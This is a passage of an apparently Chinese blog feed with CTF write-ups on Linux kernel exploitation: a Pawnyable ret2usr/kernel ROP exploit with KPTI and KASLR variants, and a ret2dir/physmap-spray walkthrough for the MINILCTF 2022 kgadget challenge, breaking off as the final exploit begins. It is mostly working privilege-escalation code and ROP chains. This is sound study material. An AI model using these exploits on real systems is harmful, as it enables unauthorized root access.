class="line">    </span><br><span class="line">    <span class="comment">/* to exit the process normally, instead of segmentation fault */</span></span><br><span class="line">    <span class="built_in">exit</span>(EXIT_SUCCESS);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* for ret2usr attacker */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">get_root_privilige</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">void</span> *(*prepare_kernel_cred_ptr)(<span class="type">void</span> *) = </span><br><span class="line">                                         (<span class="type">void</span> *(*)(<span class="type">void</span>*)) prepare_kernel_cred;</span><br><span class="line">    <span class="type">int</span> (*commit_creds_ptr)(<span class="type">void</span> *) = (<span class="type">int</span> (*)(<span class="type">void</span>*)) commit_creds;</span><br><span class="line">    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(<span class="literal">NULL</span>));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">saveStatus();</span><br><span class="line"><span class="type">int</span> fd = open(<span class="string">&quot;/dev/holstein&quot;</span>, <span class="number">2</span>);</span><br><span class="line"><span class="keyword">if</span>(fd == <span class="number">-1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Module holstein open error!\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line"><span class="type">long</span> rop_chain[<span class="number">0x100</span>];</span><br><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="number">0x81</span>; i++)</span><br><span class="line">rop_chain[i] = <span class="number">0</span>;</span><br><span class="line">rop_chain[i++] = (<span class="type">long</span>)get_root_privilige;</span><br><span class="line">rop_chain[i++] = swapgs;</span><br><span class="line">rop_chain[i++] = iretq;</span><br><span class="line">rop_chain[i++] = (<span class="type">long</span>)get_root_shell;</span><br><span class="line">rop_chain[i++] = user_cs;</span><br><span class="line">rop_chain[i++] = user_rflags;</span><br><span class="line">rop_chain[i++] = user_sp;</span><br><span class="line">rop_chain[i++] = user_ss;</span><br><span class="line"></span><br><span class="line">write(fd, rop_chain, <span class="number">0x500</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>仅启用KASLR，不使用读取操作来进行ret2usr提权：</strong></p><blockquote><p>当禁用 SMAP、SMEP 和 KPTI 并启用 KASLR 时，仅使用 Stack Overflow 漏洞提升权限（即不使用读取）。<br>提示：使用 ret2usr 执行 shellcode 时检查寄存器值。</p></blockquote><p>略微修改exp为如下即可</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"><span class="type">long</span> root_shell = (<span class="type">long</span>)get_root_shell;</span><br><span class="line">...</span><br><span class="line"><span class="type">void</span> <span class="title function_">shellcode</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        __asm__(<span class="string">&quot;push user_ss;&quot;</span></span><br><span class="line">                <span class="string">&quot;push user_sp;&quot;</span></span><br><span class="line">                <span class="string">&quot;push user_rflags;&quot;</span></span><br><span class="line">                <span class="string">&quot;push user_cs;&quot;</span></span><br><span class="line">                <span class="string">&quot;push root_shell;&quot;</span></span><br><span class="line">                <span class="string">&quot;swapgs;&quot;</span></span><br><span class="line">                <span class="string">&quot;iretq;&quot;</span>);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">...</span><br><span class="line"><span class="comment">//if with KASLR, use these</span></span><br><span class="line">rop_chain[i++] = (<span class="type">long</span>)get_root_privilige;</span><br><span class="line">rop_chain[i++] = (<span class="type">long</span>)shellcode;</span><br><span class="line">...</span><br></pre></td></tr></table></figure></div><h3 id="kernel-rop-with-KPTI-but-without-KASLR"><a href="#kernel-rop-with-KPTI-but-without-KASLR" class="headerlink" title="kernel rop with KPTI but without KASLR"></a>kernel rop with KPTI but without KASLR</h3><p>在开启了kpti之后，再次使用之前的exp就会得到<code>Segmentation fault</code>，只需细微修改exp即可，如</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//if with kpti, then use these</span></span><br><span class="line">rop_chain[i++] = swapgs_restore_regs_and_return_to_usermode+<span class="number">0x16</span>;</span><br><span class="line">rop_chain[i++] = <span class="number">0</span>;</span><br><span class="line">rop_chain[i++] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//if without kpti, then use these</span></span><br><span class="line"><span class="comment">//rop_chain[i++] = swapgs;</span></span><br><span class="line"><span class="comment">//rop_chain[i++] = iretq;</span></span><br></pre></td></tr></table></figure></div><h3 id="add-KASLR"><a href="#add-KASLR" class="headerlink" title="add KASLR"></a>add KASLR</h3><p>在添加了KASLR后，程序在每次启动时都会有一个随机的偏移，但是由于存在越界读取，因此可以读取出内核栈空间的敏感内容，计算得到偏移，如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">long</span> buf[<span class="number">0x100</span>];</span><br><span class="line">read(fd, buf, <span class="number">0x500</span>);</span><br><span class="line"><span class="type">long</span> offset = buf[<span class="number">0x81</span>] - ret_addr_no_aslr;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;KASLR offset is : %p\n&quot;</span>, offset);</span><br></pre></td></tr></table></figure></div><blockquote><p>在调试KASLR的过程中，出现了如下问题：未开启KASLR时的对应gadget和开启KASLR时的gadget会有可能不一样，引起该问题的主要原因是ROPgadget，ropper等工具在查找gadget时是按照机器码查找的，当文件中出现绝对地址时，而此gadget的机器码正好包含在绝对地址中。</p><p>如：绝对地址<code>0xFFFFFFFF81C35900</code>，而<code>pop rcx; ret</code>对应的机器码是<code>59 C3</code>，正好是这个绝对地址中的部分值，因此在没有KASLR的情况下，它确实是一个有效的gadget。然而，一旦KASLR生效，它同时也将内核中这些汇编指令中的绝对地址也做了更新，否则内核在执行类似上面这条mov指令时就可能会出错，因为地址已经被随机化了。</p></blockquote>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/08/17/kernel%20pwn/Pawnyable(1)%20-%20Kernel%20ROP/</id>
    <link href="https://staticccccccc.github.io/2024/08/17/kernel%20pwn/Pawnyable(1)%20-%20Kernel%20ROP/"/>
    <published>2024-08-17T12:15:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="🐾What’s-Pawnyable-🐾"><a href="#🐾What’s-Pawnyable-🐾" class="headerlink" title="🐾What’s Pawnyable?🐾"></a><strong>🐾What’s Pawnya]]>
    </summary>
    <title>Pawnable笔记（一）之 Kernel ROP</title>
    <updated>2024-08-17T12:15:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="kernel pwn" scheme="https://staticccccccc.github.io/categories/kernel-pwn/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="基本原理"><a href="#基本原理" class="headerlink" title="基本原理"></a>基本原理</h2><p>ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法，主要用来<strong>绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段</strong>，原论文见此处<a class="link"   href="http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf" >http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>先来看看ret2usr的利用手法，即从内核空间返回到在用户空间构造好的提权代码上，如下</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">----------------------------------------------</span><br><span class="line">|              kernel space        |&gt;------------</span><br><span class="line">----------------------------------------------  |</span><br><span class="line">|             user space        |             |ret</span><br><span class="line">|       commit(prepare_kernel_cred(NULL)) |&lt;------------|</span><br><span class="line">----------------------------------------------</span><br></pre></td></tr></table></figure></div><p>但是由于smep与smap保护的加入，在内核态对用户态数据的访问和执行被禁止，导致该攻击手法已不可用。而ret2dir可以说就是用来绕过这类使用户空间与内核空间隔离的保护的。</p><p>首先来看一下x86下linux内核空间的布局<a class="link"   href="https://elixir.bootlin.com/linux/v5.2/source/Documentation/x86/x86_64/mm.rst" >mm.rst - Documentation&#x2F;x86&#x2F;x86_64&#x2F;mm.rst - Linux source code (v5.2) - Bootlin<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>其中有如下的一片区域，这片区域<code>direct mapping area</code>被称为内核的线性映射区，它直接映射了物理内存</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)</span><br></pre></td></tr></table></figure></div><blockquote><p>有关linux内核4级页表和5级页表的具体知识不在这里详述（因为我也不会。。。</p></blockquote><p>我们都知道每个进程都有自己的虚拟内存空间，而它们一定对应着一片物理内存空间。那么现在就会出现内核空间和用户空间同时映射着同一片物理内存，那么我们就可以在内核态下通过访问<code>direct mapping area</code>来间接访问用户空间的数据。</p><p>如果我们在用户空间布置shellcode，那么我们就可以在内核空间访问到，如下图所示：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/kernel%E5%85%A5%E9%97%A8(2)%E4%B9%8Bret2dir/2QMrXEh9qLymCoK.png"                      alt="2QMrXEh9qLymCoK"                ></p><p>但是目前内核空间的这片区域不具有执行权限，因此只能用于构造ROP链，如下图：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/kernel%E5%85%A5%E9%97%A8(2)%E4%B9%8Bret2dir/CP4h5UA2svuwKbJ.png"                      alt="CP4h5UA2svuwKbJ"                ></p><p>一般的利用ret2dir进行攻击的手法是：</p><ul><li>利用 mmap 在用户空间大量喷射内存</li><li>利用漏洞泄露出内核的“堆”上地址（通过 kmalloc 获取到的地址），<strong>这个地址直接来自于线性映射区</strong></li><li>利用泄露出的内核线性映射区的地址<strong>进行内存搜索</strong>，从而找到我们在用户空间喷射的内存</li></ul><p>此时我们就获得了一个可以在内核空间访问用户空间数据的能力，那么就绕过了内核空间与用户空间的隔离保护</p><p>需要注意的是我们往往没有内存搜索的机会，因此需要<strong>使用 mmap 喷射大量的物理内存写入同样的 payload</strong>，之后再随机挑选一个线性映射区上的地址进行利用，这样我们就<strong>有很大的概率命中到我们布置的 payload 上</strong>，这种攻击手法也称为 <code>physmap spray</code></p><h2 id="MINILCTF-2022-kgadget"><a href="#MINILCTF-2022-kgadget" class="headerlink" title="MINILCTF 2022 - kgadget"></a>MINILCTF 2022 - kgadget</h2><p>a3👴在校赛出的一道题，很典型的用来入门ret2dir的题</p><h3 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h3><p>首先来看<code>run.sh</code></p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/sh</span></span><br><span class="line">qemu-system-x86_64 \</span><br><span class="line">-m 256M \</span><br><span class="line">-cpu kvm64,+smep,+smap \</span><br><span class="line">-smp cores=2,threads=2 \</span><br><span class="line">-kernel bzImage \</span><br><span class="line">-initrd ./rootfs.cpio \</span><br><span class="line">-nographic \</span><br><span class="line">-monitor /dev/null \</span><br><span class="line">-snapshot \</span><br><span class="line">-append &quot;console=ttyS0 nokaslr pti=on quiet oops=panic panic=1&quot; \</span><br><span class="line">-no-reboot </span><br></pre></td></tr></table></figure></div><p>开启了<code>kpti    smep    smap</code>，但是<code>nokaslr</code></p><p>程序没有直接给<code>vmlinux</code>，那么我们可以使用<code>extract-vmlinux</code>来提取出它，使用方式<code>extract-vmlinux ./bzImage</code>。关于<code>extract-vmlinux</code>的下载自行搜索即可。</p><p>然后来看漏洞模块<code>kgadget.ko</code>，程序只有一个函数有用，即<code>kgadget_ioctl</code></p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">kgadget_ioctl</span><span class="params">(file *__file, <span class="type">unsigned</span> <span class="type">int</span> cmd, <span class="type">unsigned</span> __int64 param)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> (__fastcall **v3)(<span class="type">void</span> *, _QWORD); <span class="comment">// rdx</span></span><br><span class="line">  <span class="type">void</span> (__fastcall *v4)(<span class="type">void</span> *, _QWORD); <span class="comment">// rbx</span></span><br><span class="line">  <span class="type">void</span> (__fastcall *v5)(<span class="type">void</span> *, _QWORD); <span class="comment">// rsi</span></span><br><span class="line"></span><br><span class="line">  _fentry__(__file, *(_QWORD *)&amp;cmd);</span><br><span class="line">  <span class="keyword">if</span> ( cmd == <span class="number">114514</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v4 = *v3;</span><br><span class="line">    v5 = *v3;</span><br><span class="line">    printk(&amp;unk_370);</span><br><span class="line">    printk(&amp;unk_3A0);</span><br><span class="line">    qmemcpy(</span><br><span class="line">      (<span class="type">void</span> *)(((<span class="type">unsigned</span> __int64)&amp;STACK[<span class="number">0x1000</span>] &amp; <span class="number">0xFFFFFFFFFFFFF000L</span>L) - <span class="number">168</span>),</span><br><span class="line">      <span class="string">&quot;arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3&quot;</span>,</span><br><span class="line">      <span class="number">48</span>);</span><br><span class="line">    *(_QWORD *)(((<span class="type">unsigned</span> __int64)&amp;STACK[<span class="number">0x1000</span>] &amp; <span class="number">0xFFFFFFFFFFFFF000L</span>L) - <span class="number">112</span>) = <span class="number">0x3361626E74747261L</span>L;</span><br><span class="line">    printk(&amp;unk_3F8);</span><br><span class="line">    v4(&amp;unk_3F8, v5);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    printk(&amp;unk_420);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1LL</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>当传入的cmd参数为114514时，程序会调用<code>call [param]</code>，这个函数中的<code>qmemcpy</code>是被优化后的操作，实际汇编为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">.text.unlikely:0000000000000160                               regs = rdx                              ; pt_regs *</span><br><span class="line">.text.unlikely:0000000000000160 48 BA 61 72 74 74 6E 62 61 33 mov     regs, &#x27;3abnttra&#x27;</span><br><span class="line">.text.unlikely:000000000000016A 48 89 90 58 FF FF FF          mov     [rax-0A8h], rdx</span><br><span class="line">.text.unlikely:0000000000000171 48 89 90 60 FF FF FF          mov     [rax-0A0h], rdx</span><br><span class="line">.text.unlikely:0000000000000178 48 89 90 68 FF FF FF          mov     [rax-98h], rdx</span><br><span class="line">.text.unlikely:000000000000017F 48 89 90 70 FF FF FF          mov     [rax-90h], rdx</span><br><span class="line">.text.unlikely:0000000000000186 48 89 90 78 FF FF FF          mov     [rax-88h], rdx</span><br><span class="line">.text.unlikely:000000000000018D 48 89 50 80                   mov     [rax-80h], rdx</span><br><span class="line">.text.unlikely:0000000000000191 48 89 50 90                   mov     [rax-70h], rdx</span><br></pre></td></tr></table></figure></div><p>我们在调试之后可以发现这些操作实际上是将保存在内核栈里面的寄存器损坏了，但还保留了两个，即<code>r9  r8</code>的值，那它们有什么用呢，继续分析</p><p>因为是<code>call [param]</code>，因此我们可以直接设置<code>param</code>为<code>direct mapping area</code>中的一个位置，但前提是我们要喷射很多内存，并在这些内存中填充上有用的gadget。在执行完一个gadget之后，必然会继续ret，这时我们就需要控制栈到dir位置了，<code>r8 r9</code>中未损坏的值就可以用来进行栈迁移。例如在<code>call [param]</code>后到param位置时栈的状态如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">00</span>:<span class="number">0000</span>│ rsp <span class="number">0xffffc90000257ed8</span> —▸ <span class="number">0xffffffffc000219f</span> ◂— xor eax, eax</span><br><span class="line"><span class="number">01</span>:<span class="number">0008</span>│     <span class="number">0xffffc90000257ee0</span> —▸ <span class="number">0xffffc90000257f58</span> ◂— <span class="number">0x3361626e74747261</span> (<span class="string">&#x27;arttnba3&#x27;</span>)</span><br><span class="line"><span class="number">02</span>:<span class="number">0010</span>│     <span class="number">0xffffc90000257ee8</span> ◂— <span class="number">0xf2debfc5f34a5a00</span></span><br><span class="line"><span class="number">03</span>:<span class="number">0018</span>│     <span class="number">0xffffc90000257ef0</span> —▸ <span class="number">0xffff888004226600</span> ◂— <span class="number">0x0</span></span><br><span class="line"><span class="number">04</span>:<span class="number">0020</span>│ rbp <span class="number">0xffffc90000257ef8</span> —▸ <span class="number">0xffffc90000257f30</span> —▸ <span class="number">0xffffc90000257f48</span> ◂— <span class="number">0x0</span></span><br><span class="line"><span class="number">05</span>:<span class="number">0028</span>│     <span class="number">0xffffc90000257f00</span> —▸ <span class="number">0xffffffff81319232</span> ◂— cmp eax, <span class="number">0xfffffdfd</span></span><br><span class="line"><span class="number">06</span>:<span class="number">0030</span>│     <span class="number">0xffffc90000257f08</span> —▸ <span class="number">0xffffc90000257f58</span> ◂— <span class="number">0x3361626e74747261</span> (<span class="string">&#x27;arttnba3&#x27;</span>)</span><br><span class="line"><span class="number">07</span>:<span class="number">0038</span>│     <span class="number">0xffffc90000257f10</span> ◂— <span class="number">0x0</span></span><br><span class="line">... ↓        <span class="number">3</span> skipped</span><br><span class="line"><span class="number">0b</span>:<span class="number">0058</span>│     <span class="number">0xffffc90000257f30</span> —▸ <span class="number">0xffffc90000257f48</span> ◂— <span class="number">0x0</span></span><br><span class="line"><span class="number">0</span>c:<span class="number">0060</span>│     <span class="number">0xffffc90000257f38</span> —▸ <span class="number">0xffffffff81bb9607</span> ◂— mov qword ptr [rbx + <span class="number">0x50</span>], rax</span><br><span class="line"><span class="number">0</span>d:<span class="number">0068</span>│     <span class="number">0xffffc90000257f40</span> ◂— <span class="number">0x0</span></span><br><span class="line"><span class="number">0</span>e:<span class="number">0070</span>│     <span class="number">0xffffc90000257f48</span> ◂— <span class="number">0x0</span></span><br><span class="line"><span class="number">0f</span>:<span class="number">0078</span>│     <span class="number">0xffffc90000257f50</span> —▸ <span class="number">0xffffffff81c0008c</span> ◂— mov rcx, qword ptr [rsp + <span class="number">0x58</span>]</span><br><span class="line"><span class="number">10</span>:<span class="number">0080</span>│     <span class="number">0xffffc90000257f58</span> ◂— <span class="number">0x3361626e74747261</span> (<span class="string">&#x27;arttnba3&#x27;</span>)</span><br><span class="line">... ↓        <span class="number">5</span> skipped</span><br><span class="line"><span class="number">16</span>:<span class="number">00b</span>0│     <span class="number">0xffffc90000257f88</span> ◂— <span class="number">0x202</span></span><br><span class="line"><span class="number">17</span>:<span class="number">00b</span>8│     <span class="number">0xffffc90000257f90</span> ◂— <span class="number">0x3361626e74747261</span> (<span class="string">&#x27;arttnba3&#x27;</span>)</span><br><span class="line"><span class="number">18</span>:<span class="number">00</span>c0│     <span class="number">0xffffc90000257f98</span> ◂— <span class="number">0x99999999</span>******r9******</span><br><span class="line"><span class="number">19</span>:<span class="number">00</span>c8│     <span class="number">0xffffc90000257fa0</span> ◂— <span class="number">0x88888888</span>******r8******</span><br><span class="line"><span class="number">1</span>a:<span class="number">00</span>d0│     <span class="number">0xffffc90000257fa8</span> ◂— <span class="number">0xffffffffffffffda</span></span><br><span class="line"><span class="number">1b</span>:<span class="number">00</span>d8│     <span class="number">0xffffc90000257fb0</span> —▸ <span class="number">0x402c0a</span> ◂— mov eax, <span class="number">0</span></span><br><span class="line"><span class="number">1</span>c:<span class="number">00e0</span>│     <span class="number">0xffffc90000257fb8</span> —▸ <span class="number">0xffff888007000000</span> ◂— <span class="number">0x0</span></span><br><span class="line"><span class="number">1</span>d:<span class="number">00e8</span>│     <span class="number">0xffffc90000257fc0</span> ◂— <span class="number">0x1bf52</span></span><br></pre></td></tr></table></figure></div><p>我们可以找到如下gadget，称此gadget为<code>ADD_RSP_0xa0_POP_FOUR_REG_RET</code></p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ffffffff816fca4a:       <span class="number">48</span> <span class="number">81</span> c4 a0 <span class="number">00</span> <span class="number">00</span> <span class="number">00</span>    add    $<span class="number">0xa0</span>,%rsp</span><br><span class="line">ffffffff816fca51:       <span class="number">5b</span>                      pop    %rbx</span><br><span class="line">ffffffff816fca52:       <span class="number">41</span> <span class="number">5</span>c                   pop    %r12</span><br><span class="line">ffffffff816fca54:       <span class="number">41</span> <span class="number">5</span>d                   pop    %r13</span><br><span class="line">ffffffff816fca56:       <span class="number">5</span>d                      pop    %rbp</span><br><span class="line">ffffffff816fca57:       c3                      ret</span><br></pre></td></tr></table></figure></div><p>那么我们只需要设置<code>r8=param    r9=pop_rsp</code>，（pop_rsp为<code>0xffffffff811483d0 : pop rsp ; ret</code>），这样就可以把栈迁移到<code>direct mapping area</code>来进行ROP了</p><h3 id="ROP链构造"><a href="#ROP链构造" class="headerlink" title="ROP链构造"></a>ROP链构造</h3><p>我们应该让落在<code>ADD_RSP_0xa0_POP_FOUR_REG_RET</code>的概率尽可能大一点，因此我们可以尽可能多的写入<code>ADD_RSP_0xa0_POP_FOUR_REG_RET</code>的地址，同时能使其滑入提权的payload，例如这是一片页内存，按如下方式布置</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">  0    -----------------------------------------------------------------</span><br><span class="line">      |                ADD_RSP_0xa0_POP_FOUR_REG_RET                   |</span><br><span class="line"> 0xe00 -----------------------------------------------------------------</span><br><span class="line">      |                         RET                                    |</span><br><span class="line"> 0xfa0 -----------------------------------------------------------------</span><br><span class="line">      |                   get_root_payload                             |</span><br><span class="line">0x1000 -----------------------------------------------------------------</span><br></pre></td></tr></table></figure></div><p>这样当栈被迁移到<code>ADD_RSP_0xa0_POP_FOUR_REG_RET</code>时，就必定可以滑入<code>RET</code>，从而到达<code>get_root_payload</code></p><p>构造如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">construct_chain</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span>(; i &lt; (page_size<span class="number">-0x200</span>)/<span class="number">8</span>; i++)</span><br><span class="line">                chain[i] = ADD_RSP_0xa0_POP_FOUR_REG_RET;</span><br><span class="line">        <span class="keyword">for</span>(; i &lt; (page_size<span class="number">-0x60</span>)/<span class="number">8</span>; i++)</span><br><span class="line">                chain[i] = RET;</span><br><span class="line">        chain[i++] = POP_RDI_RET;</span><br><span class="line">        chain[i++] = init_cred;</span><br><span class="line">        chain[i++] = commit_creds;</span><br><span class="line">        chain[i++] = swapgs_restore_regs_and_return_to_usermode + <span class="number">27</span>;</span><br><span class="line">        chain[i++] = <span class="number">0</span>;</span><br><span class="line">        chain[i++] = <span class="number">0</span>;</span><br><span class="line">        chain[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">        chain[i++] = user_cs;</span><br><span class="line">        chain[i++] = user_rflags;</span><br><span class="line">        chain[i++] = user_sp;</span><br><span class="line">        chain[i++] = user_ss;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="mmap喷射内存"><a href="#mmap喷射内存" class="headerlink" title="mmap喷射内存"></a>mmap喷射内存</h3><p>喷射内存就是尽可能多的消耗内存空间，从而增大成功概率</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">spray_physmap</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">size_t</span> <span class="built_in">map</span>[<span class="number">15000</span>];</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Spray physmap...\033[0m\n&quot;</span>);</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">15000</span>; i++)</span><br><span class="line">        &#123;</span><br><span class="line">                <span class="built_in">map</span>[i] = mmap(<span class="literal">NULL</span>, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line">                <span class="built_in">memcpy</span>((<span class="type">void</span>*)<span class="built_in">map</span>[i], chain, page_size);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Spray physmap end.\033[0m\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span 